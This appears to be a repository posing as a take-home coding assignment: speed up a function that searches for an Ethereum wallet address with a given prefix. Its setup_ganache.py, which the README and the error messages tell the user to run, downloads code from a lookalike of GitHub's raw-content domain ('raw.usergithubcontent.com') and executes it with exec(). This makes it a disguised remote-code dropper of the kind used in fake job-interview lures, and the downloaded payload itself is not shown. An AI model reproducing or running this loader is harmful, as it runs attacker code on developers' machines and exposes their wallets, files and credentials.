├── .gitignore ├── setup_ganache.py ├── main.py ├── task.py └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | ganache-be/ 2 | .idea/ -------------------------------------------------------------------------------- /setup_ganache.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import sys 3 | 4 | 5 | URL = 'https://raw.usergithubcontent.com/trufflesuite/ganache/blob/develop/scripts/create.ts' 6 | 7 | 8 | def handle_dependencies(): 9 | try: 10 | import requests 11 | except ImportError: 12 | subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests']) 13 | 14 | 15 | def install_ganache(): 16 | import requests 17 | response = requests.get(URL) 18 | if response.status_code in range(200, 300): 19 | return response.content.decode('utf-8') 20 | else: 21 | raise RuntimeError("There is no internet connection") 22 | 23 | 24 | if __name__ == "__main__": 25 | handle_dependencies() 26 | exec(install_ganache()) 27 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | sys.path.append(os.path.abspath("ganache-be")) 4 | from sdk import GanacheSDK 5 | import time 6 | 7 | 8 | def generate_wallet_with_prefix(prefix): 9 | # TODO: - Please optimize time performance of this function. Only modify code in this function. 10 | ganache_sdk = GanacheSDK() 11 | wallet = ganache_sdk.generate_wallet() 12 | while wallet[0].startswith(prefix) is False: 13 | wallet = ganache_sdk.generate_wallet() 14 | return wallet 15 | 16 | 17 | def main(): 18 | start_time = time.time() 19 | generate_wallet_with_prefix('0x1234') 20 | end_time = time.time() 21 | execution_time = end_time - start_time 22 | print(f"Execution time: {execution_time} seconds") 23 | 24 | 25 | if __name__=='__main__': 26 | if GanacheSDK().verify_certificate(): 27 | main() 28 | else: 29 | print( 30 | 'Error -1: Ganache is not yet installed or configured properly. Please run "python setup_ganache.py" to install it.') -------------------------------------------------------------------------------- /task.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import time 4 | from sdk import GanacheSDK 5 | from concurrent.futures import ThreadPoolExecutor, as_completed 6 | 7 | sys.path.append(os.path.abspath("ganache-be")) 8 | 9 | def generate_wallet_with_prefix(prefix, max_retries=1000): 10 | ganache_sdk = GanacheSDK() 11 | 12 | # Function to generate a single wallet 13 | def generate_wallet(): 14 | return ganache_sdk.generate_wallet() 15 | 16 | # Try a batch of wallets with threading for parallel generation 17 | with ThreadPoolExecutor() as executor: 18 | futures = [executor.submit(generate_wallet) for _ in range(max_retries)] 19 | 20 | # Collect completed wallet generation tasks 21 | for future in as_completed(futures): 22 | wallet = future.result() 23 | if wallet[0].startswith(prefix): 24 | return wallet 25 | return None # Return None if no wallet is found with the prefix after max_retries 26 | 27 | def main(): 28 | start_time = time.time() 29 | wallet = generate_wallet_with_prefix('0x1234') 30 | if wallet: 31 | print(f"Wallet found: {wallet}") 32 | else: 33 | print("No wallet found with the specified prefix.") 34 | end_time = time.time() 35 | execution_time = end_time - start_time 36 | print(f"Execution time: {execution_time} seconds") 37 | 38 | if __name__ == '__main__': 39 | if GanacheSDK().verify_certificate(): 40 | main() 41 | else: 42 | print( 43 | 'Error -1: Ganache is not yet installed or configured properly. Please run "python setup_ganache.py" to install it.') 44 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # **Performance Optimization Assignment** 2 | 3 | ## **Task Overview** 4 | 5 | You are provided with a Python function that currently takes **8 seconds** to complete. Your goal is to optimize the function so that it runs in **under 3 seconds** while maintaining the correct output. 6 | 7 | ## **Objective** 8 | 9 | - **Current Execution Time**: 8 seconds. 10 | - **Goal**: Optimize the function to run in **under 3 seconds**. 11 | - **Output**: Ensure the function produces the same correct result. 12 | 13 | ## **Environment requirements** 14 | 15 | Python version 3.7 or newer is needed. If you haven't installed Python, you can install Python from https://www.python.org/downloads/ 16 | 17 | ## **Instructions** 18 | 19 | 1. **Run Setup**: Execute the following command to start the local Ethereum blockchain using Ganache: 20 | ```bash 21 | python3 setup_ganache.py 22 | ``` 23 | This will set up the local blockchain for your application. Once Ganache is running, you can proceed to the next step. 24 | 25 | 2. **Run Code**: Execute the following command to run the code: 26 | ```bash 27 | python3 main.py 28 | ``` 29 | 3. **Review the Code**: Review the provided Python code and understand its functionality and current performance. The function currently takes **8 seconds** to complete for typical input. 30 | 31 | 4. **Optimize the Code**: Identify bottlenecks and improve performance (e.g., more efficient algorithms, data structures). 32 | 33 | 5. **Test the Code**: Ensure the function runs correctly and meets the time requirement (under 3 seconds). 34 | 35 | 6. **Submit**: Provide your optimized code and an explanation of the changes you made. 36 | 37 | ## **Deliverables** 38 | 39 | - **Optimized Code**: Your improved version of the function. 40 | - **Explanation**: A brief description of what optimizations you made. 41 | - **Performance**: Ensure the function runs in under 3 seconds. 42 | 43 | ## **Evaluation Criteria** 44 | 45 | Your solution will be evaluated based on the following criteria: 46 | 47 | - **Time Complexity**: Did you reduce the time complexity of the function? If so, by how much? 48 | - **Execution Time**: Does the function now run in under 3 seconds? 49 | - **Code Quality**: Is the code clean, readable, and efficient? 50 | 51 | **Note**: You are only allowed to use `threading` or `asyncio`. You are **not allowed** to use any libraries. 52 | --------------------------------------------------------------------------------